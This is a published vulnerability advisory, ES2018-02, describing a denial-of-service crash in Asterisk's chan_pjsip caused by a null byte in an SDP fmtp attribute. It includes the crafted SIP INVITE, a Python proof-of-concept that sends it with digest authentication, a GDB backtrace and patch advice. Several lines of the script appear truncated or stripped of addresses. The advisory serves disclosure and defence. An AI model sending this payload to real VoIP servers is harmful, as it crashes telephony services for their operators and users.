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[FD] ES2018-02 Asterisk pjsip sdp invalid fmtp segfault

# Segmentation fault occurs in asterisk with an invalid SDP fmtp attribute

- Authors:
    - Alfred Farrugia <alfred AT enablesecurity.com>
    - Sandro Gauci <sandro AT enablesecurity.com>
- Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip`
- References: AST-2018-003
- Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2018-02-asterisk-pjsip-sdp-invalid-fmtp-segfault/>
- Vendor Advisory: <http://downloads.asterisk.org/pub/security/AST-2018-003.html>
- Timeline:
    - Issue reported to vendor: 2018-01-15
    - Vendor patch made available to us: 2018-02-05
    - Vendor advisory published: 2018-02-21
    - Enable Security advisory: 2018-02-22

## Description

A specially crafted SDP message body with an invalid fmtp attribute causes a
segmentation fault in asterisk using `chan_pjsip`.

## Impact

Abuse of this vulnerability leads to denial of service in Asterisk when
`chan_pjsip` is in use.

## How to reproduce the issue

The following SIP message was used to reproduce the issue:

INVITE sip:5678@ SIP/2.0
To: <sip:5678@>
From: Test <sip:5678@>
Call-ID: adc9caea-2d0a-40af-9de5-1dd21387e03a
Via: SIP/2.0/UDP;branch=z9hG4bKadc9caea-2d0a-40af-9de5-1dd21387e03a
Contact: <sip:5678@>
Content-Type: application/sdp
Content-Length: 228

o=- 1061502179 1061502179 IN IP4
c=IN IP4
t=0 0
m=audio 17000 RTP/AVP 9 0 101
a=rtpmap:8 alaw/8000
a=rtpmap:0 PCMU/8000
a=rtpmap:101 telephone-event/8000
a=fmtp\x00:101 0-16


- `\x00` should be replaced by the null character
- authentication may be required 
- the destination SIP address should match a valid extension in the dialplan.

To facilitate this process we wrote the following python program to reproduce this issue:

import socket
import re
import md5
import uuid

UDP_IP = ""
UDP_PORT = 13940
USERNAME = "5678"
PASSWORD = "5678"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))

callid = str(uuid.uuid4())

sdpbody = "v=0\r\no=- 1061502179 1061502179 IN IP4\r\n" \
    "s=Asterisk\r\n" \
    "c=IN IP4\r\n" \
    "t=0 0\r\n" \
    "m=audio 17000 RTP/AVP 9 0 101\r\n" \
    "a=rtpmap:8 alaw/8000\r\n" \
    "a=rtpmap:0 PCMU/8000\r\n" \
    "a=rtpmap:101 telephone-event/8000\r\n" \
    "a=fmtp\x00:101 0-16\r\n"\

msg="INVITE sip:%s@%s:%i SIP/2.0\r\n" \
    "To: <sip:%s@%s:%i>\r\n" \
    "From: Test <sip:%s@%s:%s>\r\n" \
    "Call-ID: %s\r\n" \
    "CSeq: 2 INVITE\r\n" \
    "Via: SIP/2.0/UDP;branch=z9hG4bK%s\r\n" \
    "Contact: <sip:%s@>\r\n" \
    "Content-Type: application/sdp\r\n" \
    "{{AUTH}}" \
    "Content-Length: %i\r\n" \
    "\r\n" % (
        callid, callid,
        USERNAME, len(sdpbody)
        ) + \

sock.sendto(msg.replace("{{AUTH}}", ""), (SERVER_IP, SERVER_PORT))

data, addr = sock.recvfrom(10240)

if data.startswith("SIP/2.0 401"):
    for line in data.split('\r\n'):
        if line.startswith("WWW-Authenticate"):
            content = line.split(':', 2)[1].strip()
            realm = re.search("realm=\"([a-z]+)\"", content).group(1)
            nonce = re.search("nonce=\"([a-z0-9\/]+)\"", content).group(1)
            ha1 = md5.new(USERNAME + ":" + realm + ":" + PASSWORD).hexdigest()
            uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT)
            ha2 = md5.new("INVITE:" + uri).hexdigest()
            r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest()

            auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \
                "realm=\"%s\"," % (realm) + \
                "nonce=\"%s\"," % (nonce) + \
                "uri=\"%s\"," % (uri) + \
                "response=\"%s\"," % (r) + \

sock.sendto(msg.replace("{{AUTH}}", auth), (SERVER_IP, SERVER_PORT))

This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset.

### GDB backtrace result

Thread 197 "asterisk" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fff65e57700 (LWP 10595)]
pjmedia_sdp_attr_get_fmtp (attr=<optimized out>, fmtp=fmtp@entry=0x7fff65e56430) at ../src/pjmedia/sdp.c:350
350	    while (pj_isdigit(*p) && p!=end)
(gdb) bt
#0  pjmedia_sdp_attr_get_fmtp (attr=<optimized out>, fmtp=fmtp@entry=0x7fff65e56430) at ../src/pjmedia/sdp.c:350
#1  0x00007fff6bf49070 in get_codecs (session_media=0x7fff74799540, codecs=0x7fff65e56450, stream=0x7fff97f99de0, session=0x7fff74581688) at res_pjsip_sdp_rtp.c:276
#2  set_caps (session=session@entry=0x7fff74581688, session_media=session_media@entry=0x7fff74799540, session_media_transport=0x7fff74799540, stream=stream@entry=0x7fff97f99de0, is_offer=is_offer@entry=1, asterisk_stream=asterisk_stream@entry=0x7fff747a03b0)
    at res_pjsip_sdp_rtp.c:352
#3  0x00007fff6bf4b2d7 in negotiate_incoming_sdp_stream (session=0x7fff74581688, session_media=0x7fff74799540, sdp=<optimized out>, index=<optimized out>, asterisk_stream=0x7fff747a03b0) at res_pjsip_sdp_rtp.c:1185
#4  0x00007ffff1a16bb9 in handle_incoming_sdp (session=session@entry=0x7fff74581688, sdp=0x7fff97f99870) at res_pjsip_session.c:671
#5  0x00007ffff1a1a721 in new_invite (invite=<synthetic pointer>) at res_pjsip_session.c:2871
#6  handle_new_invite_request (rdata=0x7fff573f88d8) at res_pjsip_session.c:2966
#7  session_on_rx_request (rdata=0x7fff573f88d8) at res_pjsip_session.c:3030
#8  0x00007ffff7868df7 in pjsip_endpt_process_rx_data (endpt=<optimized out>, rdata=rdata@entry=0x7fff573f88d8, p=p@entry=0x7ffff1a0ace0 <param>, p_handled=p_handled@entry=0x7fff65e56d44) at ../src/pjsip/sip_endpoint.c:887
#9  0x00007ffff17e009f in distribute (data=0x7fff573f88d8) at res_pjsip/pjsip_distributor.c:903
#10 0x00000000005fb3be in ast_taskprocessor_execute (tps=tps@entry=0x1dc33a8) at taskprocessor.c:963
#11 0x0000000000602610 in execute_tasks (data=0x1dc33a8) at threadpool.c:1322
#12 0x00000000005fb3be in ast_taskprocessor_execute (tps=0x1a39488) at taskprocessor.c:963
#13 0x0000000000602af0 in threadpool_execute (pool=0x1a37ca8) at threadpool.c:351
#14 worker_active (worker=0x7fff9457ccd8) at threadpool.c:1105
#15 worker_start (arg=arg@entry=0x7fff9457ccd8) at threadpool.c:1024
#16 0x000000000060d4bd in dummy_start (data=<optimized out>) at utils.c:1257
#17 0x00007ffff5e3d6ba in start_thread (arg=0x7fff65e57700) at pthread_create.c:333
#18 0x00007ffff54263dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109


## Solutions and recommendations

Apply the patch issued by Asterisk at <http://www.asterisk.org/security> or upgrade to the latest release.

## About Enable Security

[Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers.

## Disclaimer

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

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